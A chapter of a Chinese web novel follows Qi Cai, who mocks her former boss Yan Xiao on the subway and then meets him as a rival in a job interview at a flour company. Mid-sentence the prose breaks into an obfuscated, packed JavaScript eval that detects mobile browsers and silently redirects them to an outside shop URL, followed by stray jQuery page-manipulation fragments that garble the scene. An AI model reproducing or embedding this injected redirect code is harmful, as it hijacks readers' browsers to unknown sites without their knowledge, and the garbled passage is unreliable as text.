好久不见，晏骁明显落魄了很多。
下巴有隐隐的青色，眼下的黑眼圈很重，倒是衬得茶黑的瞳仁更亮了。
风衣也皱皱巴巴的，双手抱胸，坐在那里，薄唇不高兴地抿着，活像一只干了坏事被主人抓包、却仍旧不服气的大猫。
戚彩上一次见晏骁，还是在十个月前，自己骤闻要将渠道无条件交出去的噩耗之时。
犹记那时，此君还颇为意气风发。
棱角分明的脸庞，好似精雕细琢的艺术品一般，而那双闪烁着锐利光芒的眸子便是这幅杰作的点睛之笔。
他坐在办公桌前，宽阔的肩膀将西装撑得极有气势，手腕抬起，劳力士腕表清晰可见。
见她来扯皮，他淡淡地睨向她，薄唇轻轻地吐出几个字：
“听说你不同意移交渠道给Brenda？”
她说是的，但她有几个理由，晏总不妨听听。
他打断了她的话，轻笑，继而说出了戚彩现在想起来都鸡皮疙瘩浑身起的一句话：
“在这个世界上，能和我讨价还价的人还没出生。”
哦对，还有一句——
“还是说，女人，你只是想吸引我的注意力？”
……
……
地铁内。
晏骁看清戚彩，脸色大变，转身便想跑。
戚彩才不让他走，初中时她是体育生，后来虽然没再练了，但锻炼健身从没落下，哪是晏骁这种养尊处优惯了的空架子能比的？
轻松手一伸，晏骁便被拎了回来。
“晏总，”戚彩死抓着晏骁的手腕，踮起脚尖，凑近笑眯眯道，“好久不见，是什么风把您这样的金枝玉叶吹到了地铁？”
晏骁想挣脱，却怎么都挣脱不了。
“哎呀，”戚彩作惊讶状，“人靠衣装马靠鞍，您的巴宝莉风衣呢？怎么您身上这件我好像在某宝上见过呀，这是什么牌子呀？”
晏骁的脸涨得通红，也不知是气得，还是浑身力气都在手腕上使的。
半晌，冷冷地憋出俩字：“松手！”
“我也很想松手，可是晏总，”戚彩无辜地眨巴着眼睛，“我一看到你，就想跟你讨价还价，就想吸引你注意力，怎么办呀？”
“……”
看到晏骁仿佛吞了一千只苍蝇的表情，戚彩嚣张大笑。
“姑娘，”隔壁车厢的一个大叔专门走了过来，拍拍她肩膀，“打情骂俏小声点，怪尴尬的。”
戚彩拍拍晏骁肩膀；“听到没，说你尴尬呢。”
晏骁难以置信地看向她：“我都没说话！”
“哎，”戚彩理直气壮地说，“谁说前朝的剑不能斩今天的官呢？这些都是你十个月前的原话呀！”
“……”
“啧啧，”戚彩实在是万分感慨，胸中快意无限，“晏总啊晏总，你当年夺我渠道时，想到过今天这种究极反转吗？”
“诶你手机响了。”
戚彩下意识地看向另一只手里的小灵通：“没有啊……晏骁！晏骁你给我回来！”
戚彩短暂分神的时刻，正是地铁到站短暂停靠的时刻。趁她不注意，晏骁一把抢过戚彩另一只手扣留的手机，挣脱铁掌，转身便往车厢外跑。
戚彩反应过来，抬步想要追上去，却已经来不及了。
地铁车门毫不留情地关上，停顿两秒后，朝目的地疾驰而去。
晏骁甚至还站在站台上不走，边目送戚彩远去，边心情很好地同戚彩挥手。那欠揍的表情，让戚彩恨不得立刻冲出地铁把他狠狠揍一顿。
“混蛋！别让我再看到你！”
……
……
回家后，戚彩好久都没缓过劲来。
她躺在床上，不断在脑海以各种方式折磨晏骁。想到爽处，她情不自禁地笑了出来。
“笑得这么变态，做chun梦？”
谁敢置喙她？
戚彩不耐烦地睁开眼，入目便是老哥王东阳的一张大脸，吓了一跳：“王东阳！你进我房间干什么！”
“我是你哥，我怎么不能进？”
“那你也是男的！”
“你以为我想进啊，”王东阳一指头把戚彩戳回枕头上，“你就庆幸是我吧，不然就你这简历直接摆桌面上，你现在还能笑？哭醒还差不多。”
“快起来吃早饭吧，妈催了！”
吃早饭？
戚彩眨眨眼，这才发现天已经大亮——她竟然YY着YY着就睡着了……
果然，晏骁就是那万恶之源！
***
五分钟后。
拾掇整齐的戚彩出现在餐桌前，边坐下，边将帆布袋随手放在旁边的椅背上：“生煎、锅贴、小笼包……哎呀，这么丰盛呀！我在房间里就闻到香气了！”
“香也没见你起床！”王翠红从厨房端出一杯现打的豆浆，“你这是要去哪儿？我警告你，别动什么暗度陈仓的歪心思啊。”
“就是，”王东阳满嘴小笼包，口齿不清还要蹭助攻，“彩姐，你没事少去思莹那蹭吃蹭喝，人还要上班呢。”
“你俩真是内心太暗黑了！”戚彩嗤之以鼻，“我是去市图书馆学习！昨天思莹给我推了本她当年用过的、特好用的单词书，我临时网上买来不及，去图书馆赶快看看。”
王翠红狐疑地看着戚彩。
T恤，牛仔裤，随手扎的马尾——这打扮似乎是不可能去面试的。
又当着戚彩的面检查了一下帆布包，确认里面都是考研相关的书，而没有无关物件，这才松了口气：“那你快走吧，好好学。”
戚彩立刻从椅子上弹射起来：“吃饱了，走嘞！”
……
“哈哈！我真是个天才！”
H城东南，某园区，一楼卫生间。
穿着西装套装的戚彩将口红涂好，看着镜子中自己的全妆，又看看旁边鼓鼓囊囊的帆布袋，得意地吹了声口哨。
道高一尺，魔高一丈。王翠红光知道筛查她的着装和携带物适不适合面试，却想不到，她早就在昨晚就在项思莹那借好了一切，今天早上来面试时，绕道一取即可。
她，无人可挡！
“等等，这衣服怎么穿不明白啊。”
戚彩很瘦，但她前凸后翘，是那种标准的“圆身”，和项思莹那种高挑纤细小骨架的扁身差别很大。穿上好友的西装，戚彩一会儿觉得胳膊挤了，一会儿又紧张地往下拽衬衫，生怕胸口走光。
将衬衫往下用力掖，狠狠扎进筒裙里，再将外套扣子全部扣上
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13025885|137362||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
，戚彩最后看了一眼镜子，确保没问题后，昂首挺胸走出了卫生间。
雄起！
***
戚彩今天要面试的岗位是销售总监，东家是一家大型面粉厂，在华东这边占有率挺高。厂子不在园区里，只是总部在这儿。
当时猎头找到她时，给她说的是底薪1w8，提成不封顶，她工作内容也简单，管理好各级经销商即可。
可两轮面试结束，HR面和业务面都来了一遍后，戚彩发现，问题似乎复杂了。
“底薪1W，提成八千封顶，不光要管经销商，还要每个月都拓展新的经销商，达不到数量，哪怕现有经销商业绩达标，也要全扣绩效……搞什么啊！”
完全货不对板嘛！
“底薪确实就是1W8，”副总倒是很淡定，他对戚彩的综合素质挺满意，所以巧舌如簧得很上心，“我们产品很好卖，经销商抢都抢不到，八千提成铁拿的，那可不是保底1W8？你好好干，我找个机会跟老板提提，提成不就不封顶了吗？”
这大饼可真香啊- -
虽然不甚满意，但戚彩暂时也没有更好的选择。
事分轻重缓急，如今最急的是赶快先斩后奏，上岸个凑合的工作，不然再继续这样在家里，她就要疯了。
唉，当初就不该瞎买股票，现在好了，一分积蓄没有，吃家里嘴短！
HR推门：“戚彩，老板让你进来。”
戚彩打起精神来，准备去老板办公室进行终面。
“小彩，”副总追上来，凑到戚彩耳边说，“偷偷告诉你，你的终面是和另一个男的一起。这人夸夸其谈，估计老板会爱。你进去终面时别太耿直，适时多画大饼，老板就吃这套！”
男的？夸夸其谈？
戚彩脑海里立刻有了画像——这不就是晏骁吗？
她到现在还记得晏骁的名言：“你们就该带客户来我们工厂参观。客户要是看到我们的工厂，那还不得臣服于我们！”
……不可能不可能。
戚彩把脑海中的画像和语音删除。
都说瘦死的骆驼比马大，晏骁再落魄，那也是晏家人，208万？2080万！
晏家才不会让他来面粉厂干销售呢！
“不过要真是晏骁，还倒好了，”老板办公室门前，戚彩边敲门，边在心中嘀咕，“他一天基层业务都没干过，我VS他，那不是手拿把掐？”
“请进。”
戚彩推开门：“您好……晏骁？！”
啊啊啊啊！
她只是想想！想想是当不得真的！
她不想见晏骁啊！！！
“你们认识？”老板惊讶地看了一眼正襟危坐的晏骁，又看向瞳孔地震的戚彩，“那太好了。戚彩是吧，快进来。”
戚彩硬着头皮在晏骁旁边落座，尽量身体离远点。
晏骁也不看戚彩，但他脸色肉眼可见地变白了。
看着诡异的两人，老板露出了一个诡异的笑容。
戚彩心中警铃大作，她知道，大事不妙了。如果不意外的话……
“你们两个，”老板倾身向前，双手合拳，笑眯眯地说，“互相介绍一下对方吧。”
——果然！
悬着的心终于死了。